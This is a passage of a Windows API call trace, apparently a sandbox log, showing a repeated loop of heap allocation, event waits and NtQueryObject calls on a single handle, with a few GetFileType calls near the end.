[0259.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.786] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.786] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.786] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.786] ResetEvent (hEvent=0x110) returned 1 [0259.786] SetEvent (hEvent=0x114) returned 1 [0259.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.786] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.786] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.786] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.786] ResetEvent (hEvent=0x110) returned 1 [0259.786] SetEvent (hEvent=0x114) returned 1 [0259.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.786] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.786] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.786] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.786] ResetEvent (hEvent=0x110) returned 1 [0259.786] SetEvent (hEvent=0x114) returned 1 [0259.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.787] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.787] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.787] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.787] ResetEvent (hEvent=0x110) returned 1 [0259.787] SetEvent (hEvent=0x114) returned 1 [0259.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.787] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.787] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.787] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.787] ResetEvent (hEvent=0x110) returned 1 [0259.787] SetEvent (hEvent=0x114) returned 1 [0259.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.787] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.787] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.787] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.787] ResetEvent (hEvent=0x110) returned 1 [0259.788] SetEvent (hEvent=0x114) returned 1 [0259.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.788] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.788] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.788] ResetEvent (hEvent=0x110) returned 1 [0259.788] SetEvent (hEvent=0x114) returned 1 [0259.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.788] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.788] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.788] ResetEvent (hEvent=0x110) returned 1 [0259.788] SetEvent (hEvent=0x114) returned 1 [0259.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.788] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.788] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.789] ResetEvent (hEvent=0x110) returned 1 [0259.789] SetEvent (hEvent=0x114) returned 1 [0259.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.789] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.789] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.789] ResetEvent (hEvent=0x110) returned 1 [0259.789] SetEvent (hEvent=0x114) returned 1 [0259.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.789] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.789] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.789] ResetEvent (hEvent=0x110) returned 1 [0259.789] SetEvent (hEvent=0x114) returned 1 [0259.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.789] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.790] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.790] ResetEvent (hEvent=0x110) returned 1 [0259.790] SetEvent (hEvent=0x114) returned 1 [0259.790] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.790] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.790] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.790] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.790] ResetEvent (hEvent=0x110) returned 1 [0259.790] SetEvent (hEvent=0x114) returned 1 [0259.790] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.790] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.790] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.790] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.790] ResetEvent (hEvent=0x110) returned 1 [0259.790] SetEvent (hEvent=0x114) returned 1 [0259.790] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.790] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.791] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.791] ResetEvent (hEvent=0x110) returned 1 [0259.791] SetEvent (hEvent=0x114) returned 1 [0259.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.791] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.791] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.791] ResetEvent (hEvent=0x110) returned 1 [0259.791] SetEvent (hEvent=0x114) returned 1 [0259.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.791] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.791] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.791] ResetEvent (hEvent=0x110) returned 1 [0259.791] SetEvent (hEvent=0x114) returned 1 [0259.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.791] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.792] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.792] ResetEvent (hEvent=0x110) returned 1 [0259.792] SetEvent (hEvent=0x114) returned 1 [0259.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.792] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.792] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.792] ResetEvent (hEvent=0x110) returned 1 [0259.792] SetEvent (hEvent=0x114) returned 1 [0259.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.792] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.792] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.792] ResetEvent (hEvent=0x110) returned 1 [0259.792] SetEvent (hEvent=0x114) returned 1 [0259.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.792] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.793] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.793] ResetEvent (hEvent=0x110) returned 1 [0259.793] SetEvent (hEvent=0x114) returned 1 [0259.793] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.793] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.793] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.793] ResetEvent (hEvent=0x110) returned 1 [0259.793] SetEvent (hEvent=0x114) returned 1 [0259.793] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.793] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.793] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.793] ResetEvent (hEvent=0x110) returned 1 [0259.793] SetEvent (hEvent=0x114) returned 1 [0259.793] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.793] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.794] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.794] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.794] ResetEvent (hEvent=0x110) returned 1 [0259.794] SetEvent (hEvent=0x114) returned 1 [0259.794] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.794] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.794] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.794] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.794] ResetEvent (hEvent=0x110) returned 1 [0259.794] SetEvent (hEvent=0x114) returned 1 [0259.794] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.794] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.794] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.794] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.794] ResetEvent (hEvent=0x110) returned 1 [0259.794] SetEvent (hEvent=0x114) returned 1 [0259.794] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.794] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.795] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.795] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.795] ResetEvent (hEvent=0x110) returned 1 [0259.795] SetEvent (hEvent=0x114) returned 1 [0259.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.795] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.795] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.795] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.795] ResetEvent (hEvent=0x110) returned 1 [0259.795] SetEvent (hEvent=0x114) returned 1 [0259.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.795] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.795] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.795] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.795] ResetEvent (hEvent=0x110) returned 1 [0259.795] SetEvent (hEvent=0x114) returned 1 [0259.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.795] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.796] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.796] ResetEvent (hEvent=0x110) returned 1 [0259.796] SetEvent (hEvent=0x114) returned 1 [0259.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.796] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.796] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.796] ResetEvent (hEvent=0x110) returned 1 [0259.796] SetEvent (hEvent=0x114) returned 1 [0259.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.796] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.796] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.796] ResetEvent (hEvent=0x110) returned 1 [0259.796] SetEvent (hEvent=0x114) returned 1 [0259.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.796] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.797] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.797] ResetEvent (hEvent=0x110) returned 1 [0259.797] SetEvent (hEvent=0x114) returned 1 [0259.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.797] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.797] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.797] ResetEvent (hEvent=0x110) returned 1 [0259.797] SetEvent (hEvent=0x114) returned 1 [0259.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.797] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.797] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.797] ResetEvent (hEvent=0x110) returned 1 [0259.797] SetEvent (hEvent=0x114) returned 1 [0259.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.798] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.798] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.798] ResetEvent (hEvent=0x110) returned 1 [0259.798] SetEvent (hEvent=0x114) returned 1 [0259.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.798] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.798] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.798] GetFileType (hFile=0x1b8) returned 0x3 [0259.798] ResetEvent (hEvent=0x110) returned 1 [0259.798] SetEvent (hEvent=0x114) returned 1 [0259.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.798] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.798] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.798] GetFileType (hFile=0x1b8) returned 0x3 [0259.798] ResetEvent (hEvent=0x110) returned 1 [0259.798] SetEvent (hEvent=0x114) returned 1 [0259.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.799] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.799] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.799] GetFileType (hFile=0x1b8) returned 0x3 [0259.799] ResetEvent (hEvent=0x110) returned 1 [0259.799] SetEvent (hEvent=0x114) returned 1 [0259.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.799] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.799] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.799] ResetEvent (hEvent=0x110) returned 1 [0259.799] SetEvent (hEvent=0x114) returned 1 [0259.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.800] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.800] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 